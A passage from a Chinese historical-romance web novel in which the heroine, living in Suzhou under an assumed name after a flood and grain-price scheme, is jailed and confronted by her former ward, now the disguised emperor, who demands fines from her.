一路上,他们遇到了很多人,明的,暗的,到处搜查,可梅姨总能带着她躲过他们。 出了北平之后,那些搜查的人就少了。 苏弱水知道,陆泾川的手还不能伸得那么长,毕竟他刚刚接过北平王的位置,羽翼未丰,四面藩王虎视眈眈地盯着他这块大肥肉,他根本腾不出手来找她。 能调动分散那么多暗卫来寻她,已经算是竭尽全力了。 若是再动其它地方的暗桩被发现,那么他离死也就不远了。 可梅姨却告诉他,陆泾川真的动用了其它地方的暗桩来找她,幸好他们藏得深,也幸好那些暗桩刚动,就被其它藩王发现了。 苏弱水知道陆泾川疯,没想到他这么疯。 他不要他的帝国大业了吗? 苏弱水还听说陆泾川因为将身边的暗卫都分散了出去,所以被刺杀了。 他本来就是代王的眼中刺,这么绝佳的好机会代王怎么会错过?当然,这也可能是陆泾川设计的一个陷阱,可周宿被陆泾川杀死了,只剩下周宿这么一个儿子的代王怎么可能善罢甘休。 苏弱水听到这个消息的时候她刚到苏州。 从北平到苏州,因为连夜赶路,所以苏弱水精神不济,眼下挂着青黑,她听到梅姨的话,神色愣了愣,问,“死了吗?” 梅姨摇头,“没有,只是听说伤得挺重的。” 陆泾川有天道傍身,苏弱水一向都是知道的。 他肯定不会死的。 那一夜,虽然身体疲惫不堪,但苏弱水还是做了一个梦。 她梦到陆泾川满身是血的躺在血泊里,胸口插着一柄匕首,鲜血从他的身体里涌出来,几乎形成一个小小的水洼。 他盯着她,艰难抬手,双眸泣血,“阿姐!” 苏弱水一下就醒了,然后问梅姨要了一柄金剪子放在枕头下面,第二日晚上果然没有再做噩梦。 战乱期间,生意虽然难做,但不至于饿死。 大周皇帝从苏州征调了很多青年壮丁入伍,苏弱水会让梅姨带着吃穿物品去看望那些老弱妇孺,并给予她们工作。 有时候,苏弱水还会做回自己的老本行,她会坐在街角给一些不识字的人写信。 大部分人都是想要她给在战场上的丈夫、儿子写信。 苏弱水只收一个铜板。 三年战乱,今年三月,新帝登基,定鼎立新,承受天命,改国号为“明”。 在苏州的日子很安静。 虽然现在的苏州跟苏弱水待的那个现代化苏州不一样,但有时候看到那些熟悉的白墙黑瓦,苏氏园林,苏弱水还是会产生一种奇怪的熟悉感。 “嗯,账目没有问题。” 这是一处苏州老宅,并没有记在北平王名下,而是记在一个叫沈冬兰的女人名下。 梅姨告诉苏弱水,这是北平王很早之前就给她铺好的路。 沈冬兰是个虚拟存在的女商人,等苏弱水过来之后,她就是这个女商人。 沈冬兰在苏州有很多产业,苏弱水一开始不太会看账本,还是梅姨教着她一步一步来的。 苏弱水虽不是十分聪明,但她足够努力,再加上梅姨的细心,她用了一年多的时间将这些事务融会贯通。虽然现在处理起来还是会有些不完美,但已经比之前一窍不通好多了。 “水退了吗?”苏弱水将账本交给梅姨。 梅姨点头,看着女人这张清冷柔美的面孔,额间的胭脂痣透着一股氤氲的美。 “水是退了,只是粮食短缺,最近都涨疯了。” 现下是七月,六月的时候是梅雨季,一般来说,梅雨季下点雨在苏州是很正常的,毕竟烟雨江南嘛,可没想到这个雨下了一个月都没有停。 地势比较矮的地方都被淹了。 苏弱水住的老宅子地势还算高,倒不严重,只是需要家奴往外倒腾倒腾水。 “官府那边有什么消息?” 梅姨摇头,“您也知道,那个苏州知府只会张嘴要钱。” 苏弱水点头,想了想,道:“我们也涨价。” 梅姨愣了愣,看向苏弱水的眼神带上了几分不确定。 “梅姨,算一算我们账上现在一共有多少钱。”苏弱水起了身,去翻账目。 梅姨跟在她身后一起折腾,最后算出来统共有多少银子,全部被苏弱水折腾出去买粮食了。 沈冬兰在苏州城内还算是个有名的女商户,大家听说她高价卖粮的消息,也纷纷跟着买粮,附近地方的粮商听说她在花高价钱收粮,赶紧开着船将自己的粮食送过来。 苏弱水的铺子被人砸了,因为她卖的粮食价格太贵了。 苏弱水听说了之后也就点了点头,没有多说什么,只让梅姨将受伤的几个伙计送去医馆治疗,并给了安慰费。 半个月后,附近的粮食都运了过来。 苏弱水这里囤积了大部分粮食,直接折价售卖。 一时间,她家铺子前人山人海,大家都奔着跑着过来买粮。 其它商铺看到这个情况都懵了。 那些还停在港口的粮食船没有等来收购,等来的却是粮价大跌的消息。可你若是让他们再把粮食送回去,可就要亏本了。 供过于求,没办法,大家只好就地把粮食卖了,以勉强保本的价格。 苏州的粮食短缺问题暂时解决了,可梅姨看着赤字亏空的账目,深深叹了一口气。 苏弱水对此倒是还好,还蹲在那里逗猫。 不知道哪里来的小奶猫,看起来也就一个月,“喵喵”叫着往她身上爬。 苏弱水让梅姨蒸了一点鸡肉出来,一点点撕开喂给小奶猫吃。 小奶猫吃得发出“嗷呜嗷呜”的享受叫声- 苏州洪涝灾害后两个月,那位登基半年有余的新帝终于注意到这里,他派遣巡按御史前来苏州处理洪涝贪污一事。 苏弱水这才知道,原来当初新帝是拨了钱下来的,可下头却一分都没有看到。 本来这事也跟她这个小小的女商人没什么关系,只是这位巡按御史特别较真,不仅查那位苏州知府,还查到了当时涨价的一众粮商,其中自然包括她。 官府过来拿人的时候,苏弱水还有点懵。 她上辈子没坐过牢,这辈子坐上了。 “没事的,梅姨,我去去就回来了。” 话虽然是这样说的,但苏弱水心里没底。 她想着,若是能用钱把她赎出来那就太好不过了。 这个时候的她突然觉得如果那位巡按御史是个贪官就好了- 苏弱水没坐过牢,苏州的地牢是男女分开关押的,负责女犯人衣食住行的人被称为伴婆。 苏弱水坐在阴暗潮湿的女监里,盯着墙壁上那个窄窄的小窗户看。 窗户真的很小,也很高,她要用力仰头才能看到那一点弯弯的月。 正好是夏季,不是特别炎热,也不冷,这样的天气对于苏弱水这种体质比较虚弱怕冷的人来说是最适宜的了。 地牢里很脏,苏弱水站了一会后实在是累了,也就不管脏不脏了,直接坐了下来休息。 木板凳被她一坐,发出“吱呀”一声,看起来很是不堪重负的样子。 没有人来送水送食物,桌子上只有不知道多久前留下来的一套茶壶和茶杯,茶杯口还裂了一条口子。 苏弱水打开茶壶看了一眼,里面的茶水都发黑了,散发出一股奇怪的味道。 她可不敢喝。 苏弱水赶紧将茶壶推开,一个人孤零零地坐在那里,开始感觉到有些饿。 苏弱水忍着饿意,想着睡着就好了。 她闭上眼,扶趴下来,酝酿睡意。 刚要睡着,镶嵌在地牢墙壁上的油灯突然被殷勤地一盏一盏点亮。 苏弱水浸在黑暗中的视线也被跟着点亮。 油灯的光不亮,可苏弱水还是觉得有些刺目。 她抬手挡住双眸,外面传来脚步声。 沉稳又有规律。 有人过来了。 苏弱水拿下挡在眼前的手。 逼仄的地牢内,昏暗的油灯下,缓慢出现一道黑长的人影。 那人在她面前站定。 他身穿黑色长袍,头上扎着红宝石发带,双耳上坠着一对红宝石耳坠,眉眼越发锋利,整个人如同一柄出鞘的宝剑,只是站在那里,就能让人感受到其中的威压。 三年未见,男人依旧好看,只是望向她的眼神深沉的如一汪深潭,你再也无法从他的眼眸之中窥探出任何情绪。 苏弱水知道,这是大明的新帝,陆泾川。 第46章 那你留着干什么? 地牢的灯光全靠墙壁上那几盏油灯, 还有男人手里的那盏琉璃灯。 这些灯光将牢房外面的走廊照亮。 苏弱水坐在自己的牢房里,身后月色轻薄地透进来,温柔地罩在她身上。 有人搬来了一张太师椅, 男人抬臂坐下, 双手搭在扶手上,宽大的袖摆落下, 脸上没什么表情, 彷佛不认识她一般。 苏弱水原本还焦躁不安的心突然间就冷了下来。 是啊。 少年心性总会过去,再见到曾经瞧不上自己的人,过的如此悲惨,心中只会升起鄙夷。 苏弱水低着头坐在那里,视线落在有着斑驳痕迹的桌面上。 这张桌子实在是太老旧了些,上面不知道留下了多少别人磕上去的斑驳痕迹。 “沈冬兰?”男人抬手打开面前的卷宗, 眼皮微微上挑看她。 苏弱水起身,行了一个万福礼。 “民女沈冬兰。” 地牢里很安静, 似乎整个女牢内就只剩下他们两个人了。 哦,还有站在陆泾川身边的另外一位身穿常服的侍卫。 那侍卫苏弱水也曾是见过的, 叫谢成兰。 谢成兰低着头, 看一眼自家主子,再看一眼那位镇定自若站在牢房里的女主子。 “知道自己犯了什么罪吗?”男人的嗓音彻底褪去了那股青年音色,变得低哑, 说话时一句一字, 带着气势,朝苏弱水劈头盖脸地砸过来。 那是上位者的威压。 “民女高价卖粮……” 苏弱水做这件事前查过大明会典,在灾疫等特殊时期藏匿货物、抬高物价扰乱市场牟利者,会被笞四十。 所谓笞就是用竹板或者荆条抽打犯人的背部、臀部或腿部的刑罚,是五刑中最轻的一种了。 “不知大人能否通融一二?” 既然面前的男人没有暴露自己的身份, 那苏弱水也权当不知道。 她从宽袖内取出一叠银票,隔着地牢栏杆送出去。 女人站在牢房里面,三年未见,她一点都没有变,她的眼睛里依旧照不出他的影子。 陆泾川坐在那里,没有动。 苏弱水抬得手有些酸了。 “不够。” 终于,男人吐出这两个字。 苏弱水知道陆泾川刚刚接替大周皇帝,重新改了国号,也知道他缺钱,可她没想到他居然连她这么小一只苍蝇腿都不放过。 “民女身上只带了这么多……” “剩下不够的就用笞刑补。” 苏弱水的脸白了白。 虽然她已经做好了要受笞刑的准备,但真到要被打的时候,心头还是跟着跳了跳。 一般来说,会被笞刑臀部。 幸好来之前,梅姨为她垫了东西。 苏弱水低着头从牢房里走出来,男人还堵在门口,她微微侧身,与他擦肩而过。 女人身上的香气萦绕过来,柔软的发丝擦过衣料,手背。 陆泾川的视线追随。 前面有谢成兰引路,陆泾川跟在她身后。 三人往前走去,一直走到一处刑罚之地。 这里是个三面封闭的屋子,三面墙上都挂满了行刑的道具,铁锁,镣铐,长钩,刀剑等等,还有旁边的匣床,挂着绳子的绞刑架等。墙壁上有恐怖的抓挠痕迹,带着血印子,再加上阴暗的灯光,让人无端的联想到恐怖片。 苏弱水不敢再看,继续低头站在那里。 她看到她颤抖的指尖,似乎是在努力抓握什么,可最终还是什么都没有抓住。 “五百两。” 那张太师椅被挪到这里,男人依旧坐下,身上的黑袍光洁干净,没有一丝褶皱痕迹,渗透着昂贵的龙涎香,高贵到连每一根头发丝都服帖地待在它应该待的位置。 他的大拇指上戴着一枚玉扳指,水色极好,压着那几张银票,面无表情地看她。 苏弱水现在只能凑出来这么多了。 她把账面上的银子都凑出去买粮了,后来又低价售卖,亏得底裤都没了。 这些银子还是卖了几个铺子凑出来的,就是为了提防这个时刻。 苏弱水还抱有一线希望,“其实我高价卖粮是为了稳定粮价。” 男人捏着手里的银票,淡淡应一声,“嗯。”然后就没了下文。 苏弱水突然悟了。 陆泾川是要报复她。 地牢内陷入寂静,三人都没有继续说话。 男人突然站起来,走到那个被置在一个高架子上的炭盆前。 那炭盆上架着一个烙铁。 陆泾川抬手,往里添了几个炭火。 烙铁被烧得通红,男人还拿起来往炭盆里捅了捅。 飞起的黑灰扑面而来,苏弱水下意识往陆泾川身后躲。 躲完,她才意识到不对劲,赶忙又往谢成兰身后躲。 谢成兰一抬头,看到自家主子的眼神,赶忙一个侧身走了出去。 这个刑房内就只剩下苏弱水和陆泾川两个人了。 苏弱水缩着身体,朝陆泾川那里看一眼,男人手里举着那个烙铁,眼神极其不友好。 苏弱水开始后悔,如果她早知道陆泾川会成为皇帝,然后回来报复她的话,她是不是不应该跑? 女人的脸本就生得白细,如今被吓得更是又白几分。 陆泾川捏了捏手里的烙铁,语气生硬,“怕什么,不冷吗?” 刑房内的温度确实上升了一些。 虽然现在这个月份肯定是不会冷的,但这里是半地下室,再加上受过刑罚的人太多,怨气重,就显得非常阴气森森。苏弱水本就胆子不大,身上被吓出一身冷汗,一直忍不住打哆嗦,现在被炭盆一烤,倒是好了不少。 女人的脸色逐渐泛出绯红,她紧张地站在那里,不敢说话,只是盯着自己的脚尖看。 陆泾川扔掉手里的烙铁,视线在墙上转了一圈,最后落到笞刑那块区域。 那里挂着好几片竹板,是用来执行笞刑的。 有大有小,有薄有厚。 最小的像苏弱水小时候用的直尺。 最大的像两条合在一起的竹扁担,看起来又粗又重。 男人伸出手,挑了那根直尺。 苏弱水盯着那直尺看了一眼,视线往上一抬,跟男人对上。 她迅速低头,想着不知道要被打多少下。 “五百两抵五下,还剩三十五下。” 这么黑心! 苏弱水差点脱口而出,她忍住了。 她怕把人激怒了,她连五下都不能抵扣了。 “等一下,我还有,还有这些。” 苏弱水开始脱自己身上的首饰。 一般来说,进入女监之后会进行搜身,把身上的衣物换下来换成囚衣,再把身上的首饰褪下来,可并没有人来搜她,因此,苏弱水身上的首饰和衣物才得以保留。 苏弱水先将自己的耳坠子取下来,然后是手镯,发簪,项链……其实她不太爱戴饰品,这些都是基础搭配,为了出去谈生意的时候显得富贵些,能压人。 苏弱水将身上的首饰全部卸下捧在手里,送到男人面前。 男人垂目看着,没有接。 苏弱水想了想,把它们放到那张太师椅上。 “这些,也能值个……三百两吧?” 虽然有些夸大,但男人可以讲价。 “嗯。”陆泾川应了。 讲少了。 苏弱水脸上露出懊恼神色。 她偷偷觑一眼陆泾川,视线落到他双耳之上。 她记得他送给他的这对红宝石耳坠子可也值不少钱。 “还有吗?”男人懒洋洋地看着她。 苏弱水收回视线,在自己身上扫了一遍,只剩下这件编着金线的外衫了。 因是夏季,所以苏弱水穿得不算多。褪了外衫,里头的衣物是不能见外人的。 当然还是皮肉更重要。 她褪下外衫,搭在太师椅上,露出里面的中衣。 素白的中衣,在领口处绣了一朵梅花,看起来素雅极了。 “还有这件外衫,应当也能值一百两。” 如此凑来凑去,凑了四百两。 “三十一下。”陆泾川靠在墙壁上,手里掂量着那根竹板,“把裙子提起来。” 看来是要打她的腿。 苏弱水听说过有些人是控制刑罚的高手,他能几竹板将你的骨头打折,还有的能打完一百个板子,却只伤皮肉,看着恐怖,实际都是皮外伤。 苏弱水不知道陆泾川会对她使用什么法子。 若是他将她的腿打折了,她还要继续回到坐轮椅的日子吗? 苏弱水背对着陆泾川,提起自己的裙裾。 地牢虽有男女监牢之分,但进行刑罚的时候却没有男女之分。 幸好大明会典修改了女子笞刑之时需要褪衣的规定。 裙摆提起,露出一截纤细小腿。 苏弱水紧张地深呼吸,想着若是陆泾川将她的腿打折了,她就……她也不能怎么样。 她回去以后就天天诅咒他。 苏弱水感受到身后男人在靠近,她的呼吸更加急促。 直到那道破空声袭来之时,苏弱水吓得往前走了两步。 苏弱水:…… 苏弱水站在那里,都不敢回头看陆泾川的表情。 人在遇到危险的时候下意识往前跑其实也是很正常的。 怪就怪在陆泾川没有把她拴起来。 刑房内只剩下那个炭盆还在燃烧,将苏弱水烤得浑身上下都开始冒汗。 她提着裙子,悄悄转身朝身后看一眼。 男人依旧靠在墙壁上,微微歪头看她。 刑房内没有窗户,只有一个炭盆的光。 陆泾川靠在阴暗处,看不清脸上表情,唯独双耳之上的那只红宝石耳坠散发着明亮光色。 苏弱水揪着裙裾的手缓慢落下,她站在那里,“我回去凑钱,行不行?”- 三天时间,苏弱水要凑到三千一百两。 “把我卖了吧。”苏弱水趴在榻上,梅姨正在上下检查她的身体。 “郡主没有受罚吗?” 梅姨已经在衙门口等了很久,她看到那些商户一个一个被血肉模糊地抬出来,听说是交了罚金,还被打了。 轮到自家郡主出来的时候,梅姨一下没绷住,直接上去了。 她搀扶住自家郡主,上下打量。 身上的外衫不见了,首饰也不见了。 梅姨赶紧褪下自己的外衫替苏弱水披上。 衣物没有破损,外露的肌肤也没有受伤的地方。 回到老宅,梅姨立刻将苏弱水上下全部检查一遍,确实一块油皮也没有破。 “大致因为我是女子吧,所以给了我筹钱的机会。” 苏弱水没有告诉梅姨今日过来审问她的这个人是陆泾川。 她想,堂堂大周皇帝亲自前来肮脏不堪的地牢审问她,必然是恨急了她。 苏弱水趴在那里,双手垫在左侧面颊上,突然感觉眼眶有些发热。 她忍着,歪了歪头,将眼眶里的眼泪憋了回去。 梅姨替苏弱水灭了灯,苏弱水一个人躺在床榻上。 因为是夏日,所以屋内点了许多驱蚊的熏香。 厚重的冬日床帐也变成了绿色的薄纱。 窗户开着,门口种了一株芭蕉,清脆的叶子歪斜着,透出夏意。 院子里有蝉鸣鸟叫之声,去年移栽过来的葡萄树已经结果了,挂满了半个枝头。 苏弱水躺在床上,却是翻来覆去的睡不着。 梅姨已经安排人去卖铺面了,她比苏弱水更焦急如何凑够那三千一百两。 其实若非苏弱水此次想出高价收粮,再低价售卖的方式,她的银钱也不至于一下亏空这么多。 梅姨想着,实在不行便将现下住的宅子先抵押出去,等铺子赚了钱,再赎回来。 苏弱水点头同意了。 只是这宅子却也不值得三千一百两,因为它只是一处较为荒僻的中等普通住宅,所以最多最多值五百两银子。 还差两千六百两。 苏弱水撩开蚊帐起来,走到梳妆台前开始倒腾自己的东西。 她把首饰全部翻了出来,从最下面找到一对白玉镯子的时候,神色一顿。 这对镯子是当初陆泾川给她挑的。 成色一般,价格便宜,可不知道为什么,当北平王与她商议完,让她收拾一些东西走的时候,她会将这对镯子带上。 卖不了多少钱,放回去吧。 苏弱水将镯子塞回去,然后自己再躺回去。 没一会,她又起来,坐回梳妆台前,小心翼翼的把镯子套到手腕上。 尺寸正好。 夜已深,苏弱水一个人呆呆坐在梳妆台前,直到腿上被蚊子咬了好几个包,才回神重新爬回去睡觉。 翌日,苏弱水精神不济的起身,梅姨将老宅抵押的银票拿了回来。 陆泾川那边说给了她三日时间,梅姨还要忙着去别的地方筹钱。 苏弱水看着铺面送过来的账目,正在焦头烂额的算账。 她只是几天没管,账目都堆成山了。 书案被摆在檐下通风口,显得没有那么热。 苏弱水盘腿坐在那里看账目。 不知看了多久,一道黑影突然从上面落下来。 苏弱水还以为是梅姨回来了,“筹到钱……”她仰头,看到男人的瞬间停住了话。 男人换了一件宝蓝色的长衫,只是眉眼依旧锋利,连带着柔和的蓝色都带上了几分冷意。 他低头看向苏弱水手里的账目,真是一批烂账。 苏弱水下意识压住账本,戴在手腕上的双镯磕碰在一起,发出清脆声响。 女人下意识抬手,要将手臂往身下藏。 男人的速度却比她更快。 陆泾川弯腰,两只手按住她的胳膊。 苏弱水被迫将手臂压在书案的账目上。 两人四目相对,苏弱水狼狈偏头。 她想,都那么多年了,陆泾川应该是认不出来这对镯子了。 “这镯子不值钱,大人若想要,拿去就是。” “不值钱吗?”男人盯着她不放。 “嗯。” “那你留着干什么?” 苏弱水也不知道自己留着干什么。 她也不知道哪里来的委屈,突然间就红了眼眶,大抵是为了这份债务,也可能是因为眼前男人与三年前截然不同的态度。 “大人来这里做什么?” “要账。” “大人允了我三日。” “是嘛,不记得了。”陆泾川侧身,压着账目坐下来,“三千一百两,今日就要。” 第47章 该用什么方法 院子里的葡萄熟了一半, 尤其是顶上那些,被日头晒得足足的,最先变成紫色。 有小鸟踮着脚儿在上面跳来跳去的吃葡萄。 檐下, 苏弱水和陆泾川还在僵持。 说是僵持, 实际上她别无选择。 主动权在陆泾川手里。 他要她今日三更还,她便拖不到五更。 苏弱水起身, 进了屋子, 片刻后捧出一个首饰盒,里面是她全部的首饰,还有一张抵押老宅子后得到的银票。 “这是五百两,还有这些首饰大概能值两百两。” 陆泾川的指腹擦过女人指尖,单手拿过那张银票扔进首饰盒里,然后阖上, “还有两千四百两。” 他对她的那些首饰根本就没有兴趣,连看都没有看一眼。 苏弱水站在那里, 她今日身上只戴了那一对不值钱的镯子,整个人素净极了, 想摘首饰都没有东西摘。 “我的人今日出去筹钱了……”苏弱水低着头, 注意到有小丫鬟往这里探头探脑地看。 老宅里人手很少,苏弱水平时也没有什么事,小丫鬟就是平日里替她煮个茶, 梳个头发。 小茶房就在主屋隔壁, 小丫鬟就躲在那里,一副想出来又不敢出来的样子。 “天气热,大人渴了吧?我给大人端碗果饮来。” 苏弱水想拖延一下时间。 她朝陆泾川看一眼,见男人垂着眉眼没有拒绝,便赶紧朝那小丫鬟招手。 小丫鬟疾奔过来, “夫人。” 听到小丫鬟对她的称呼,男人下意识抬了抬眸,视线从那小丫鬟身上扫过,最后落到苏弱水脸上。 虽然没有明确规定,但女子成婚之后一般会将自己的头发梳起来,以展示自己的妇人身份。 苏弱水今日梳得就是典型的女子婚后发型同心髻。 “成亲了。”男人淡然开口。 苏弱水低着头,没有回答。 她成亲与否,跟陆泾川没有关系。 男人见她不回答,又换了一个话题,“果饮呢?” 苏弱水赶忙吩咐小丫鬟去做。 男人却是从书案上起身,坐到了她刚才坐的蒲垫上,然后单手托腮撑在那里盯着她看,“你去做。”- 苏弱水搬了梯子,拿了剪子和竹篮,去到院子里那棵葡萄树下。 一张巨大的木架子支撑在院子里,小部分熟透的葡萄都在上面,大部分没熟的葡萄反倒挂满了架子。 苏弱水将梯子摆好,然后提裙,小心翼翼的往上爬。 小丫鬟帮着她扶着梯子,看苏弱水眯着眼挡日头去剪葡萄。 日头太大,苏弱水只是稍微动一下就被晒得不行。 她身上沁出一层薄汗,黏腻在身上。 因为院子里没有其他人,所以她今日穿得比较单薄。浅粉色的裙衫轻飘飘的,更透出肌肤水白如玉,像披了一层桃子皮。 苏弱水摘了两串葡萄,然后提着篮子从梯子上下来。 安全落地,她的腿有些软。 怪她不爱运动,稍微动一下就累了。 不过低能量人群是这样的。 苏弱水提着篮子从陆泾川身边走过,裙裾擦过他的手背,软绵绵的带着香气。 男人下意识抬手,却只虚空掠过那片柔软的布料。 苏弱水去到茶室。 茶室里摆着已经煮好的茉莉花茶。 现在正是茉莉花开的季节,苏弱水从茶坊购买了一块茉莉花茶饼,一大早就让小丫鬟煮好了之后放凉,等喝的时候往里面加入牛乳,再加入一些冰块,就是一杯奶绿。 不过天气太热,奶绿会有些腻。 苏弱水将葡萄洗净之后剥皮,再放在石碗里捣碎,然后挑出籽,最后倒入茉莉花茶和冰块,一杯果饮就做好了。 苏弱水捧着用琉璃碗装着的果饮送到陆泾川面前。 琉璃碗很漂亮,透亮的白里透出微黄的茶和淡紫色的葡萄,冰块挤挤挨挨落在一处,看起来就非常夏天。 “这是什么?” 男人舒展了一下双腿。 因为书案太窄,所以他直接斜到了苏弱水这边。 隔着薄薄一层衣料,苏弱水能感觉到他贴着自己小腿的肌肤温度。 女人安静跪坐在他旁边,指尖还泛着湿润水渍,身上有一股甜甜的葡萄香气。 “用葡萄和茉莉花茶做的。” “怎么做的?” 苏弱水想,陆泾川不会是怕她毒死他吧? 她抿了抿唇,继续道:“我刚才摘了那里的葡萄,带进茶室里……” 女人的唇一张一合,说话的时候能看到她一点舌尖,素白的贝齿,说一句话,有时候会咬一下唇,大概是觉得有些不耐烦,可又不敢发脾气。 “刚才茶室的窗子都开着,若大人觉得不干净,可以跟着我进茶室,再看我做一遍。”女人说话时蹙起了眉,显得有些生气。 太明显了,他的阿姐还是这么容易暴露情绪。 陆泾川托着下颚的指尖动了动,视线从她的唇上移开,落到琉璃碗上。 “嗯。” 男人淡淡应一声,起身。 苏弱水仰头,一脸懵地看向陆泾川。 男人耐心道:“再做一遍。”- 苏弱水重新回到茶室里。 男人就那么靠在茶室门口,视线落在她手上。 苏弱水憋着一口气,把葡萄一颗一颗地摘下来扔进水里,然后洗干净,再捞出来。 晶莹剔透的葡萄被置在白玉盘里,苏弱水开始给它们剥皮。 她素来不耐烦做这种事情。 苏弱水剥了十颗葡萄,指头都有些对不准葡萄皮了。 她将剥好皮的葡萄扔进石碗里,捣碎了,再用筷子把里面的籽挑出来。 最后放进琉璃碗里,倒入茉莉花茶。 一系列流程,在陆泾川的眼皮子底下又做了一遍。 苏弱水把琉璃碗捧给他。 男人这才接了,慢条斯理吃了一口,然后道:“没有点心吗?” 茶室里确实备了点心。 苏弱水打开柜子,从里面取出一盒芙蓉糕,让小丫鬟将书案上的账目收拾了,她把芙蓉糕从食盒内取出来,在盘子上摆了一个花型。 一顿简单的下午茶就做好了。 谁要跟前夫这么和平地坐在一起喝下午茶啊! 苏弱水捧着第一杯自己的做的葡萄茉莉花茶,轻咬一口芙蓉糕。 见她吃了,男人才抬手拿了一块。 夏风徐徐吹来,夹杂着院子里淡淡的花香。 小丫鬟没什么眼力劲,见苏弱水和这位容貌俊美的大人看起来如此和谐,居然上来前询问要不要将冰在水井里的西瓜捞上来。 苏弱水看她一眼。 小丫鬟点头,“那奴婢去了。” 果然没有眼力劲。 陆泾川不仅把她的钱掏空了,还要掏空她的西瓜。 小丫鬟将切好的西瓜端上来,红色的西瓜瓤上面是黑色成熟的籽,看起来就是一个绝世好瓜,水多汁甜。 西瓜上面插了木签子,吃的时候不会脏手。 下午茶的内容还真是越来越丰富了。 苏弱水喝了几口茶水,又吃了一点西瓜,最后又用了一点芙蓉糕。 正是午后,苏弱水一般这个时候都会午睡。 所谓春困夏乏秋盹冬眠。 男人一直没有说话,苏弱水也不会故意惹他。 她的眼皮子逐渐沉重,一低头的功夫就能睡一觉。 苏弱水的脑袋往下一沉,一只手托住她的下颚,避免她磕碰到书案。 苏弱水瞬间就醒了。 她睁开眼,看到伸手托住她下颚的陆泾川。 男人掌心滚烫,炙热的温度透过肌肤流淌下来,带着熟悉的触感。 陆泾川面无表情地抽开手,“你夫君呢?” 苏弱水愣了愣,道:“他不在家。” 男人站起身,“明日让他来见我。” 苏弱水急向前两步,“此事不关他的事。” 陆泾川垂着眼睑,看向女人的视线透着一股深意,“关不关是我说了算。” 夏日热浪涌来,苏弱水的喉咙口泛出干涸感,她张嘴,“好,民女知道了。”- 入夜,梅姨终于回来了。 苏弱水用巾帕摩挲着下颚,都把下巴擦红了也没有将那股奇怪的感觉擦掉。 她总觉得的下颚滚烫的厉害。 可人家发热都是额头滚烫,她怎么是下巴滚烫。 苏弱水趴在书桌上,一闭眼就是白日里男人抬手托着她下颚的表情。 “郡主,筹到一千两。” 梅姨将手里的银票递给苏弱水。 苏弱水回神,“还差一千四。” 她头疼地蹙眉,除了还没凑够的银子,还有另外一件事。 “郡主,怎么了?” 没有外人的时候,梅姨还是习惯叫她郡主。 可实际上她现在已经不是什么郡主了,可是梅姨还是坚持在没有其他外人的情况下这么叫她。 “梅姨,我去哪里找个男人?” 梅姨视线往下,跟苏弱水对上,“郡主,现在这种情况下耽于享乐不好。” 两人对视片刻,苏弱水突然意识到什么,她的脸色“腾”一下就红了。 “我不是这个意思,我的意思是……”苏弱水不知道该怎么解释,只好实话实话,“今日那位巡抚大人上门来,让我明日带夫君过去。” “那位巡抚大人亲自上门?”梅姨皱了皱眉,显然是没想到今日她出门之后还发生了其他事情。 苏弱水点头,“他来要账。” “真是一帮贪得无厌之人。” 之前那位苏州知府也是,只知道拿钱,不知道办事,苏州洪涝百姓流离失所,却压着粮仓不肯放粮,还暗中将粮食卖给其他商户。 说起来,这位苏州知府也是苏弱水的老相识了,当时她初到苏州来寻神医治腿,这位苏州知府还给她送过一位土匪窝里的美少年。 想到陈火离,苏弱水又难免想到跟陆泾川的从前。 他只身一人独闯山寨,将她从寨子里救出去,为了不晕船,还吃了那么苦的草药。 那么多年的事情了,原来她都记得那么清楚- 翌日,苏弱水坐在梳妆台前让小丫鬟替自己梳发。 苏弱水梳得依旧是昨日的同心髻,小丫鬟虽然没有眼力劲,但手巧。 “夫人,要上妆面吗?” 一般来说,苏弱水出门的时候喜欢上淡妆。 她坐在梳妆台前,看着镜子里自己的容貌。 昨夜没有睡好,眼下有些青黑。 苏弱水用胭脂点了点眼下遮挡,觉得不太够,然后稍微又多用了一些。 “好看吗?” 女人爱美很正常,可小丫鬟还是第一次看到自家夫人如此紧张。 “好看,夫人是奴婢见过最好看的人了。” 小丫鬟很会拍马屁。 虽然苏弱水知道这其中定然有夸大的成分,但她还是很受用的。 苏弱水看着自己光秃秃的妆奁盒子,只剩下那一对成色不好的玉镯。 她想了想,还是将玉镯戴上了。 出门时,苏弱水戴上帷帽,梅姨不放心她带个小丫头,跟了她一起过来。 陆泾川现在以巡抚的身份暂时住在苏州知府中。 苏弱水说明来意,看守的人便将角门打开了,倒是确实没有为难他们。 除了他们这辆马车之后,苏弱水还看到了很多人。 听说最近苏州知府门前的马车络绎不绝,送礼的人都能排到街尾,也不知道苏州知府的仓库够不够大,能不能装得下这么多礼。 马车行驶进去一段路后,苏弱水远远听见丝竹之音。 听说这位巡抚大人夜夜笙歌,快活极了。 苏弱水沉下心,领着梅姨从马车内下来。 前面有婢女引路。 还是大白天,园子里就已经有许多吃醉酒的人东倒西歪。 梅姨护着苏弱水避开这些不规矩的人,跟紧那婢女。 远远的,一座亭台之中坐着一个人。 男人换了件刺绣赤色长袍,浑身上下透着一股华美之感,更衬得那张脸惊艳绝伦。 连苏弱水看到时都忍不住愣了愣。 他一个人独自坐在那里,前面不远处的花坛内搭着一个台子,上面有十几个美人正在跳舞。 鼓点声声,美人舞姿妖娆。 苏弱水隔着帷帽看到男人被酒色晕染的面容,熏染着昳丽眉眼,带上了几分湿气。 他单手把玩着酒杯,懒洋洋地朝她招手。 苏弱水向前。 梅姨突然一把拉住她。 “郡主……” 梅姨的视线开始抖动,她看向苏弱水的视线带上了几分惶恐。 梅姨发现了巡抚是陆泾川。 苏弱水摇头,安抚地拍了拍梅姨的手背,然后自己提裙上去了。 亭子里没人,只有陆泾川一人。 苏弱水将手里的银票放到桌上。 陆泾川低头看一眼,“还缺。” “劳烦大人再通融几日……” “你夫君呢?” 男人打断苏弱水的话。 苏弱水沉默一瞬,然后道:“他去世了。” “怎么死的?” 陆泾川低头,指腹擦过酒杯,他看到酒水里自己浅小的倒影在抖动。 “病死的。”苏弱水随意找了一个理由。 她除了顾捡外,根本就没有过夫君。 只是为了做生意方便,所以谎称有一位在外行军的夫君,以防别人有不轨之心。 亭子里安静一瞬间,只余下那丝竹靡靡之音。 此处靠河,河风吹起苏弱水轻薄的帷帽。 面前突然被推过来一杯酒。 “一杯,一百两。” 男人指尖捏着酒杯,从帷帽内探进来。 这对于现在的苏弱水来说,是个极大的诱惑。 她深吸一口气,接过面前的酒盏。 浓郁的桂花酒冲入鼻息中,入口却是辣的。 谁家桂花酒是辣的。 